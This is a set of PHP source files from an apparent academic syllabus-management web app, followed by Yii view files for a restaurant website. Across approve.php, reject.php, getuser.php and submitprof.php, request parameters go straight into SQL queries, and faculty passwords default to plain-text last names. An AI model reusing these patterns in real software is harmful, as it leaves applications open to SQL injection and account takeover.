tabs --> <ul class="nav nav-tabs nav-justified"> <li class="active"><a href="#mycourses" data-toggle="tab">My Courses</a> </li> <li><a href="#other" data-toggle="tab">Other Courses</a> </li> </ul> <!-- Tab panes --> <div class="tab-content"><br> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct c.CourseName,s.CourseCode from schedule s INNER JOIN course c ON c.CourseCode = s.CourseCode WHERE s.userID = '".$IuserID."' ORDER by c.CourseName "; $result1 = mysqli_query($conn,$sql); ?> <div class="tab-pane fade in active" id="mycourses"> <table class="table table-scroll table-striped"> <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($course = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $course->CourseCode;?></td> <td id="desc"> <a data-toggle="modal" data-target="#modal_viewSyllabus<?php echo $course->CourseCode ?>" id="down"><?php echo $course->CourseName;?></a> </td> <td> <a href="DownloadFileAdminSylab.php?down=<?php echo $course->CourseCode; ?>.pdf" id="down"><i class="fa fa-download fa-fw"></i>Download</a> </td> </tr> <?php } ?> </tbody> </table> </div> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct T.CourseName,T.CourseCode,T.UserID from (Select distinct c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE T.UserID !='".$IuserID."' or T.UserID is NULL ORDER by CourseName"; $result1 = mysqli_query($conn,$sql); ?> <div class="tab-pane fade" id="other"> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct T.CourseCode from (Select distinct c.CourseOrder,c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE T.UserID !='".$IuserID."' or T.UserID is NULL ORDER by CourseName"; $result2 = mysqli_query($conn,$sql); ?> <form> &nbsp; &nbsp; &nbsp; Find course code: &nbsp; <select name="users" onchange="showUser(this.value)"> <?php while ($othercourses = mysqli_fetch_object($result2)){?> <option value="<?php echo $othercourses->CourseCode;?>"><?php echo $othercourses->CourseCode;?></option> <?php } ?> </select> </form> <br> <div class="panel-body" id="txtHint"> <table class="table table-scroll table-striped"> <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($othercourses = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $othercourses->CourseCode;?></td> <td id="desc"> <a data-toggle="modal" data-target="#modal_viewSyllabus<?php echo $othercourses->CourseCode;?>" id="down"><?php echo $othercourses->CourseName;?></a> </td> <td> <a href="DownloadFileAdminSylab.php?down=<?php echo $othercourses->CourseCode;?>_Syllabus.pdf" id="down"><i class="fa fa-download fa-fw"></i>Download</a> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-6 --> </div> <!-- /.row --> <?php require ("database.php"); $sql="Select CourseCode FROM file WHERE Week_num_for_WLAP=0 "; $result2 = mysqli_query($conn,$sql); ?> <!-- Popup view of Syllabus --> <div class="container-pdf"> <?php while ($course = mysqli_fetch_object($result2)){?> <div class="modal fade" id="modal_viewSyllabus<?php echo $course->CourseCode ?>" role="dialog"> <div class="modal-dialog modal-lg"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $course->CourseCode ?> - Syllabus</h4> </div> <div class="modal-body"> <div id="pdf-container<?php echo $course->CourseCode?>"></div> <!--contrainer for view pdf --> </div> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <?php }?> </div> <?php require ("database.php"); $sql="Select CourseCode FROM file WHERE Week_num_for_WLAP=0 "; $result2 = mysqli_query($conn,$sql); ?> <!-- Popup view of Syllabus --> <div class="container-pdf"> <?php while ($course = mysqli_fetch_object($result2)){?> <div class="modal fade" id="modal_viewSyllabus<?php echo $course->CourseCode ?>" role="dialog"> <div class="modal-dialog modal-lg"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $course->CourseCode ?> - Syllabus</h4> </div> <div class="modal-body"> <div id="pdf-container<?php echo $course->CourseCode?>"></div> <!--contrainer for view pdf --> </div> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <?php }?> </div> <!-- Popup view of Syllabus --> <div class="container-pdf"> <?php while ($course = mysqli_fetch_object($result2)){?> <div class="modal fade" id="modal_viewSyllabus1<?php echo $course->CourseCode ?>" role="dialog"> <div class="modal-dialog modal-lg"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $course->CourseCode ?> - Syllabus</h4> </div> <div class="modal-body"> <div id="pdf-container<?php echo $course->CourseCode?>"></div> <!--contrainer for view pdf --> </div> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <?php }?> </div> <!-- /#Popup window --> <!-- Footer --> <footer class="text-center"> <div class="footer-below"> <div class="container"> <div class="row"> <div class="col-lg-12" style="color:#666666;"> Copyright &copy; WLAP and Syllabus Management System 2017 </div> </div> </div> </div> </footer> <!-- Popup view of Upload --> <div class="modal fade" id="modal_upload" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title">Add Syllabus</h4> </div> <div class="modal-body" style="height: 550px;"><br> <form action="UploadFileProcSyllabus.php" method="post" enctype="multipart/form-data"> <h3>Add a new Syllabus</h3> Course:&nbsp; <?php require ("database.php"); $sql="Select T.CourseCode,T.FileClass from (Select c.CourseCode,f.FileClass from file f RIGHT JOIN course c ON c.CourseCode = f.CourseCode WHERE f.FileClass='Syllabus' OR f.FileClass is NULL )AS T WHERE T.FileClass is NULL ORDER by T.CourseCode "; $course = mysqli_query($conn,$sql); ?> <select class="form-control" id="courseCode" name="code" style="width:125px;" > <?php while ($coursecode = mysqli_fetch_object($course)){?> <option><?php echo $coursecode->CourseCode; ?> </option> <?php } ?> </select> <br> <div class="btnPos"> <label class="btn btn-sub"> <span id="input-value">Choose file</span> <input type="file" name="fileUpload" class="inputFile" id="inFile"/> </label> </div> <span class="pull-right" style="margin-top:-20px;"> <button type="submit" name="submitbtn" class="btn btn-sub">Upload</button> </span> </form> <script> document.getElementById('inFile').addEventListener('change', function(){ myFunction(); }); function myFunction(){ var inputVal = document.getElementById('inFile').value; document.getElementById('input-value').innerHTML=inputVal.substr(12); } </script> <br> <br><p>The format of the file should be pdf.</p> <p>The file will be renamed as (CourseCode)_Syllabus.pdf</p> <?php date_default_timezone_set('asia/manila'); $date=date('d-m-Y'); $time = date("h:i"); ?> <span class="pull-left text-muted small" style="display:block;"> Added on <?php echo date('h:i A', strtotime($time))?> | <?php echo date('F d Y', strtotime($date));?> </span> </div> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <!-- /#Popup window --> <!--/#page-wrapper --> </div> <!-- /#wrapper --> <!-- jQuery --> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <!-- PDFObject JavaScript --> <script src="js/pdfobject.min.js"></script> <script src="js/customJS.js"></script> <!-- PDFObject Location to Read and View PDF --> <?php require ("database.php"); $sql="Select FileName, CourseCode FROM file WHERE Week_num_for_WLAP=0 "; $result3 = mysqli_query($conn,$sql); ?> <script> <?php while ($pdf = mysqli_fetch_object($result3)){?> PDFObject.embed(<?php echo "\"pdf/Syllabus/"; echo $pdf->FileName ; echo ".pdf\"";?>, "#pdf-container<?php echo $pdf->CourseCode;?>"); <?php }?> </script> <!-- PDFObject Location to Read and View PDF --> <?php require ("database.php"); $sql="Select FileName, CourseCode FROM file WHERE Week_num_for_WLAP=0 "; $result3 = mysqli_query($conn,$sql); ?> <script> <?php while ($pdf = mysqli_fetch_object($result3)){?> PDFObject.embed(<?php echo "\"pdf/Syllabus/"; echo $pdf->FileName ; echo ".pdf\"";?>, "#pdf-container<?php echo $pdf->CourseCode;?>"); <?php }?> </script> <script> function showUser(str) { if (str == "") { document.getElementById("txtHint").innerHTML = ""; return; } else { if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("txtHint").innerHTML = this.responseText; } }; xmlhttp.open("GET","getsyllabus.php?q="+str,true); xmlhttp.send(); } } </script> </body> </html> <file_sep>/reject.php <?php require("sessionadmin.php"); require("database.php"); $error=''; // Variable To Store Error Message // Define $file $file=$_GET['id']; // SQL query to update status $sql="UPDATE File SET Status='Rejected' WHERE FileID = '".$file."' AND Status = 'Pending'"; $res = mysqli_query($conn,$sql); $sql="Select FileName FROM file WHERE FileID = '".$file."'"; $file = mysqli_query($conn,$sql); if($res){ if($fileNO = mysqli_fetch_object($file)){ $file_pend = "pdf_pend/".$fileNO->FileName.".pdf"; $file_reject = "pdf_reject/".$fileNO->FileName.".pdf"; rename("$file_pend","$file_reject"); echo "<script> alert('The file has been updated . All of the professor has been notified'); window.location.href='adminHome.php'; </script>"; }} else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } mysqli_close($conn); ?> <file_sep>/adminUpload.php <?php require("database.php"); require("sessionadmin.php"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>WLAP and Syllabus Management System</title> <!-- Styles --> <style> body { background:none !important; background-color: #fff !important; } </style> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="font-awesome-4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> </head> <body> <div id="wrapper"> <!-- Navigation --> <nav class="navbar navbar-default navbar-fixed-top" role="navigation" style="margin-bottom: 0"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"><img src="img/logo.png" style="margin-top:-12px;"></a> </div> <!-- /.navbar-header --> <ul class="nav navbar-nav navbar-right" style="margin-right:25px;"> <li><a href="#"><i class="fa fa-user-circle-o fa-fw"></i>&nbsp;<?php echo $vFirstName; ?> <?php echo $vMiddleName; ?>. <?php echo $vLastName; ?></a></li> </ul> <div class="navbar-default sidebar" role="navigation"> <div class="sidebar-nav navbar-collapse text-center"> <ul class="nav" id="side-menu"> <li> <a href="adminHome.php"><i class="fa fa-3x fa-home fa-fw"></i><br>Home</a> </li> <li> <a href="adminWLAP.php"><i class="fa fa-3x fa-calendar-o fa-fw"></i><br>WLAP</a> </li> <li> <a href="adminSyllabus.php"><i class="fa fa-3x fa-file-text-o fa-fw"></i><br>Syllabus</a> </li> <li> <a href="adminFacultyMgmt.php"><i class="fa fa-3x fa-id-card-o fa-fw"></i><br>Faculty</a> </li> <li> <a href="adminlogout.php"><i class="fa fa-3x fa-sign-out fa-fw"></i><br>Logout</a> </li> </ul> </div> <!-- /.sidebar-collapse --> </div> <!-- /.navbar-static-side --> </nav> <div id="page-wrapper"> <div class="row"> <div class="col-lg-12"> <h2 class="page-header">Home</h1> </div> <!-- /.col-lg-12 --> </div> <div class="row"> <div class="col-lg-10"> <div class="panel panel-green"> <div class="panel-heading"> <i class="fa fa-calendar fa-fw"></i> Upload Profile Picture </div> <!-- /.panel-heading --> <div class="panel-body"> <?php include 'upload_crop_admin.php'; ?> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> </div> <!-- /.row --> <!-- Popup for viewing WLAP --> < <!-- /#Popup window --> <!-- Popup for changing photo --> <div class="modal fade" id="modal_changePhoto" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title">Change Display Photo</h4> </div> <?php include 'upload_crop_admin.php'; ?> <!--<div class="modal-body" style="height: 700px;"> <input type="file" name="fileToUpload" id="fileToUpload"><br> <a id="submit"><i class="fa fa-check fa-fw"></i><b>Submit</b></a> &nbsp;&nbsp; <a onclick="hidePhotoInput()" id="can"><i class="fa fa-close fa-fw"></i><b>Cancel</b></a> </div> --> </div> </div> </div> <!-- /#Popup window --> <!-- Footer --> <footer class="text-center"> <div class="footer-below"> <div class="container"> <div class="row"> <div class="col-lg-12" style="color:#666666;"> Copyright &copy; WLAP and Syllabus Management System 2017 </div> </div> </div> </div> </footer> </div> <!-- /#page-wrapper --> </div> <!-- /#wrapper --> <!-- jQuery --> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <script src="js/customJS.js"></script> </body> </html> <file_sep>/approve.php <?php require("sessionadmin.php"); require("database.php"); $error=''; // Variable To Store Error Message // Define $file $file=$_GET['id']; $user=$_GET['userid']; date_default_timezone_set('asia/manila'); $date= date('Y-m-d'); $time = date("h:i"); $time1 = date('h:i A', strtotime($time)); // SQL query to update status $sql2="Select FileName FROM file WHERE FileID = '".$file."'"; $file1 = mysqli_query($conn,$sql2); if ($fileUP = mysqli_fetch_object($file1)){ $sql = "UPDATE file SET DateUpload= '".$date."', TimeUpload= '".$time1."', UserID= '".$user."' WHERE FileName = '".$fileUP->FileName."' AND Status ='Approved' "; $sql1= "DELETE FROM file WHERE FileID= '".$file."'"; $file2 = mysqli_query($conn,$sql); $file3 = mysqli_query($conn,$sql1); $file_pend = "pdf_pend/".$fileUP->FileName.".pdf"; $file_up = "pdf/WLAP/".$fileUP->FileName.".pdf"; rename("$file_pend","$file_up"); echo "<script> alert('The file has been updated . All of the professor has been notified'); window.location.href='adminHome.php'; </script>"; } mysqli_close($conn); ?> <file_sep>/getuser.php <?php require("database.php"); require("session.php"); ?> <!DOCTYPE html> <html> <head> <style> </style> </head> <body> <?php $q = $_GET['q']; require("database.php"); $sql="Select c.CourseName,s.CourseCode,s.ScheduleDay,s.ScheduleTimeIN,s.ScheduleTimeOUT,s.Section,s.Room from schedule s INNER JOIN course c ON c.CourseCode = s.CourseCode WHERE s.userID = '".$IuserID."' AND s.ScheduleDay = '".$q."' ORDER by c.CourseName "; $result1 = mysqli_query($conn,$sql); ?> <table class="table table-scroll table-striped" > <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Section</th> <th>Day</th> <th>Time</th> <th>Room</th> </tr> </thead> <tbody> <?php while ($schedule = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $schedule->CourseCode;?></td> <td id="desc"><?php echo $schedule->CourseName;?></td> <td id="sec"><?php echo $schedule->Section;?></td> <td id="day"><?php echo $schedule->ScheduleDay;?></td> <td id="time"><?php echo $schedule->ScheduleTimeIN;?>-<?php echo $schedule->ScheduleTimeOUT;?></td> <td id="room"><?php echo $schedule->Room;?></td> </tr> <?php } ?> </tbody> </table> <div class="tab-content"> </div> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <script src="js/customJS.js"></script> </body> </html> <file_sep>/submitprof.php <?php require 'sessionadmin.php'; require 'database.php'; if(isset($_POST['submit'])){ $lastname = $_POST['LN']; $firstname = $_POST['FN']; $middlename = $_POST['MN']; $number = $_POST['cnumber']; $email = $_POST['email']; $arr = explode(' ',trim($firstname)); $username = strtolower(substr($arr[0], 0, 1)) . strtolower(substr($arr[1], 0, 1)) .strtolower(substr($middlename, 0, 1)) . strtolower($lastname); if(($lastname != "") && ($firstname != "") && ($number != "")){ $sql = "INSERT INTO user (LastName,FirstName,MiddleName,ContactNum,Email,Username,Password,TypeofUserNum,ImageName) VALUES ('$lastname', '$firstname', '$middlename', '$number', '$email', '$username','$lastname', '1','img/black.png')"; $query = mysqli_query($conn,$sql); if($query){ echo "<script> alert('The Faculty has been added. Welcome To CPE Department !'); window.location.href='adminFacultyMgmt.php'; </script>"; } else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } } else{ echo "<script> alert('please fill-out all fields!'); window.location.href='adminFacultyMgmtSchedule.php?id=<?php echo $userID;?>'; </script>"; } } else if(isset($_POST['submitschedule'])){ $coursecode = $_POST['code']; $section = $_POST['section']; $day = $_POST['day']; $time = $_POST['timeIN']; $time2 = $_POST['timeOUT']; $room = $_POST['room']; $user = $_GET['userid']; $start= date('h:i a ', strtotime($time)); $end= date('h:i a ', strtotime($time2)); if(($coursecode != "") && ($section != "") && ($day != "")){ $sql2 = "INSERT INTO schedule (ScheduleDay,ScheduleTimeIN,ScheduleTimeOUT,Section,Room,CourseCode,UserID) VALUES ('$day', '$start', '$end', '$section', '$room','$coursecode','$user')"; $query2 = mysqli_query($conn,$sql2); if($query2){ echo "<script> alert('The Schedule has been added !'); window.location.href='adminAddSchedule.php?userid=$user'; </script>"; } else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } } else{ echo "<script> alert('please fill-out all fields!'); window.location.href='adminAddSchedule.php?userid=$user'; </script>"; } } elseif(isset($_POST['remarks'])){ $remarks = $_POST['textremarks']; $fileid = $_GET['fileid']; date_default_timezone_set('asia/manila'); $date=date('d-m-Y'); $time = date("h:i"); $time1 = date('h:i A', strtotime($time)); $date1 = date('F d Y', strtotime($date)); $courseorder = $_GET['courseorder']; if($remarks != ""){ $sql = "INSERT INTO remarks (Remarks,Date_Added,Time_Added,FileID,UserID) VALUES ('$remarks', '$date1', '$time1', '$fileid','$IuserID')"; $query = mysqli_query($conn,$sql); if($query){ echo "<script> alert('Noted!'); window.location.href='facWLAPcourses.php?id=$courseorder'; </script>"; } else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } } else{ echo "<script> alert('please fill-out all fields!'); window.location.href='facWLAPcourses.php?id=$courseorder'; </script>"; } } else if(isset($_POST['remarksother'])){ $remarks = $_POST['textremarks']; $fileid = $_GET['fileid']; date_default_timezone_set('asia/manila'); $date=date('d-m-Y'); $time = date("h:i"); $time1 = date('h:i A', strtotime($time)); $date1 = date('F d Y', strtotime($date)); $courseorder = $_GET['courseorder']; if($remarks != ""){ $sql = "INSERT INTO remarks (Remarks,Date_Added,Time_Added,FileID,UserID) VALUES ('$remarks', '$date1', '$time1', '$fileid','$IuserID')"; $query = mysqli_query($conn,$sql); if($query){ echo "<script> alert('Noted!'); window.location.href='facWLAPothercourses.php?id=$courseorder'; </script>"; } else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } } else{ echo "<script> alert('please fill-out all fields!'); window.location.href='facWLAPothercourses.php?id=$courseorder'; </script>"; } } mysqli_close($conn); ?>
e7513d3a2e22049ab6df173bf61a6d8eacaa845f
[ "Markdown", "SQL", "PHP" ]
19
PHP
iubantot/WLAP
534a12651c3f0fa291616f0c03fcce6c1cc0a6f2
23c4a5223787877a010ae34ba6d1e0e48da530ba
refs/heads/master
<file_sep><?php /* @var $this yii\web\View */ use yii\helpers\Html; use yii\helpers\url; $this->title = 'Menu'; $this->params['breadcrumbs'][] = $this->title; ?> <div class="site-menu"> <h1><?= Html::encode($this->title) ?></h1> <div id="main-content" class="container"> <h2 id="menu-categories-title" class="text-center">Menu Categories</h2> <div class="text-center"> Best hamburgers in the city. Starting from $3. We have special discounts for students. </div> <section class="row"> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href=""> <div class="category-tile"> <img width="200" height="200" src="images/menu.jpg" alt="Lunch"> <span>Lunch</span> </div> </a> </div> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href=""> <div class="category-tile"> <img width="200" height="200" src="images/drink.jpg" alt="Drink"> <span>Drinks</span> </div> </a> </div> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href=""> <div class="category-tile"> <img width="200" height="200" src="images/dinner.jpg" alt="Dinner"> <span>Dinner</span> </div> </a> </div> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href=""> <div class="category-tile"> <img width="200" height="200" src="images/soup.jpg" alt="Soups"> <span>Soups</span> </div> </a> </div> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href=""> <div class="category-tile"> <img width="200" height="200" src="images/pizza.jpg" alt="Pizza"> <span>Pizza</span> </div> </a> </div> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href=""> <div class="category-tile"> <img width="200" height="200" src="images/dessert.jpg" alt="Dessert"> <span>Dessert</span> </div> </a> </div> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href=""> <div class="category-tile"> <img width="200" height="200" src="images/menu.jpg" alt="Lunch"> <span>Lunch</span> </div> </a> </div> <div class="col-md-3 col-sm-4 col-xs-6 col-xxs-12"> <a href="single.php"> <div class="category-tile"> <img width="200" height="200" src="images/discount.png" alt="Discount"> <span>Discount</span> </div> </a> </div> </section> </div><!-- End of #main-content --> <!-- <code><?= __FILE__ ?></code> --> </div> <file_sep><?php /* @var $this \yii\web\View */ /* @var $content string */ use yii\helpers\Html; use yii\bootstrap\Nav; use yii\bootstrap\NavBar; use yii\widgets\Breadcrumbs; use app\assets\AppAsset; AppAsset::register($this); ?> <?php $this->beginPage() ?> <!DOCTYPE html> <html lang="<?= Yii::$app->language ?>"> <head> <meta charset="<?= Yii::$app->charset ?>"> <meta name="viewport" content="width=device-width, initial-scale=1"> <?= Html::csrfMetaTags() ?> <title><?= Html::encode($this->title) ?></title> <?php $this->head() ?> </head> <body> <?php $this->beginBody() ?> <div class="wrap"> <?php NavBar::begin([ 'brandLabel' => '<NAME>', 'brandUrl' => Yii::$app->homeUrl, 'options' => [ 'class' => 'navbar-inverse navbar-fixed-top', ], ]); echo Nav::widget([ 'options' => ['class' => 'navbar-nav navbar-right'], 'items' => [ ['label' => 'Home', 'url' => ['/site/index']], ['label' => 'Menu', 'url' => ['/site/menu']], ['label' => 'About', 'url' => ['/site/about']], ['label' => 'Contact', 'url' => ['/site/contact']]//, // Yii::$app->user->isGuest ? ( // ['label' => 'Login', 'url' => ['/site/login']] // ) : ( // '<li>' // . Html::beginForm(['/site/logout'], 'post') // . Html::submitButton( // 'Logout (' . Yii::$app->user->identity->username . ')', // ['class' => 'btn btn-link logout'] // ) // . Html::endForm() // . '</li>' // ) ], ]); NavBar::end(); ?> <div class="container"> <?= Breadcrumbs::widget([ 'links' => isset($this->params['breadcrumbs']) ? $this->params['breadcrumbs'] : [], ]) ?> <?= $content ?> </div> </div> <footer class="footer"> <div class="container"> <p class="pull-left">&copy; Web Technologies <?= date('Y') ?></p> <!-- <p class="pull-right"><?= Yii::powered() ?></p> --> </div> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-97380135-1', 'auto'); ga('send', 'pageview'); </script> <!-- ZERO.kz --> <span id="_zero_68869"> <noscript> <a href="http://zero.kz/?s=68869" target="_blank"> <img src="http://c.zero.kz/z.png?u=68869" width="88" height="31" alt="ZERO.kz" /> </a> </noscript> </span> <script type="text/javascript"><!-- var _zero_kz_ = _zero_kz_ || []; _zero_kz_.push(["id", 68869]); _zero_kz_.push(["type", 1]); (function () { var a = document.getElementsByTagName("script")[0], s = document.createElement("script"); s.type = "text/javascript"; s.async = true; s.src = (document.location.protocol == "https:" ? "https:" : "http:") + "//c.zero.kz/z.js"; a.parentNode.insertBefore(s, a); })(); //--> </script> <!-- End ZERO.kz --> </footer> <?php $this->endBody() ?> </body> </html> <?php $this->endPage() ?> <file_sep><?php /* @var $this yii\web\View */ use yii\helpers\url; $this->title = 'Uncle Sam Bar'; ?> <div class="site-index"> <div class="jumbotron"> <h1>Welcome to Uncle Sam Bar</h1> <p class="lead">You are welcome to any time</p> <p><a class="btn btn-lg btn-success" href="">Check out our menu</a></p> <p>I'm sorry but this link doesn't work yet</p> </div> <div class="body-content"> <div class="row"> <div class="col-lg-4"> <h2>Our menu</h2> <p>Hey good-looking, check out what we've got cooking!</p> <p><a class="btn btn-default" href="">Our menu &raquo;</a></p> <p>I'm sorry but this link doesn't work yet</p> </div> <div class="col-lg-4"> <h2>Hours</h2> <p>Tue-Thurs: 11:15am - 10:00pm <br> Fri: 11:15am - 2:00pm <br> Monday Closed<br></p> <!-- <p><a class="btn btn-default" href="http://www.yiiframework.com/forum/">Yii Forum &raquo;</a></p> --> </div> <div class="col-lg-4"> <h2>Address:</h2> <p>Almaty city <br> Abylai khan str. 145 <br> <a href="tel:+77472771017">+7-747-277-10-17</a></p> <!-- <p><a class="btn btn-default" href="http://www.yiiframework.com/extensions/">Yii Extensions &raquo;</a></p> --> </div> </div> </div> </div> <file_sep><?php /* @var $this yii\web\View */ use yii\helpers\Html; $this->title = 'Dish'; $this->params['breadcrumbs'][] = $this->title; ?> <div class="site-menu"> <h1><?= Html::encode($this->title) ?></h1> <div id="main-content" class="container"> <h2 id="menu-categories-title" class="text-center">Lunch Menu</h2> <div class="text-center">Lunch is not served until after 1pm.</div> <section class="row"> <div class="menu-item-tile col-md-6"> <div class="row"> <div class="col-sm-5"> <div class="menu-item-photo"> <div>D01</div> <img class="img-responsive" width="250" height="150" src="images/menu/B/B-1.jpg" alt="Item"> </div> <div class="menu-item-price">$10.95<span> (pint)</span> $14.95 <span>(quart)</span></div> </div> <div class="menu-item-description col-sm-7"> <h3 class="menu-item-title">Veal with Mixed Vegetables</h3> <p class="menu-item-details">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eaque inventore esse minima incidunt impedit. Asperiores, voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.Asperiores, voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.Asperiores, voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.</p> </div> </div> <hr class="visible-xs"> </div> <div class="menu-item-tile col-md-6"> <div class="row"> <div class="col-sm-5"> <div class="menu-item-photo"> <div>D02</div> <img class="img-responsive" width="250" height="150" src="images/menu/B/B-1.jpg" alt="Item"> </div> <div class="menu-item-price">$10.95<span> (pint)</span> $14.95 <span>(quart)</span></div> </div> <div class="menu-item-description col-sm-7"> <h3 class="menu-item-title">Veal with Mixed Vegetables</h3> <p class="menu-item-details">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eaque inventore esse minima incidunt impedit. Asperiores, voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.</p> </div> </div> <hr class="visible-xs"> </div> <!-- Add after every 2nd menu-item-tile --> <div class="clearfix visible-lg-block visible-md-block"></div> <div class="menu-item-tile col-md-6"> <div class="row"> <div class="col-sm-5"> <div class="menu-item-photo"> <div>D03</div> <img class="img-responsive" width="250" height="150" src="images/menu/B/B-1.jpg" alt="Item"> </div> <div class="menu-item-price">$10.95<span> (pint)</span> $14.95 <span>(quart)</span></div> </div> <div class="menu-item-description col-sm-7"> <h3 class="menu-item-title">Veal with Mixed Vegetables</h3> <p class="menu-item-details">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eaque inventore esse minima incidunt impedit. Asperiores, voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.</p> </div> </div> <hr class="visible-xs"> </div> <div class="menu-item-tile col-md-6"> <div class="row"> <div class="col-sm-5"> <div class="menu-item-photo"> <div>D04</div> <img class="img-responsive" width="250" height="150" src="images/menu/B/B-1.jpg" alt="Item"> </div> <div class="menu-item-price">$10.95<span> (pint)</span> $14.95 <span>(quart)</span></div> </div> <div class="menu-item-description col-sm-7"> <h3 class="menu-item-title">Veal with Mixed Vegetables</h3> <p class="menu-item-details">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eaque inventore esse minima incidunt impedit. Asperiores, voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.</p> </div> </div> <hr class="visible-xs"> </div> <!-- Add after every 2nd menu-item-tile --> <div class="clearfix visible-lg-block visible-md-block"></div> <div class="menu-item-tile col-md-6"> <div class="row"> <div class="col-sm-5"> <div class="menu-item-photo"> <div>D05</div> <img class="img-responsive" width="250" height="150" src="images/menu/B/B-1.jpg" alt="Item"> </div> <div class="menu-item-price">$10.95<span> (pint)</span> $14.95 <span>(quart)</span></div> </div> <div class="menu-item-description col-sm-7"> <h3 class="menu-item-title">Veal with Mixed Vegetables</h3> <p class="menu-item-details">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eaque inventore esse minima incidunt impedit. Asperiores, 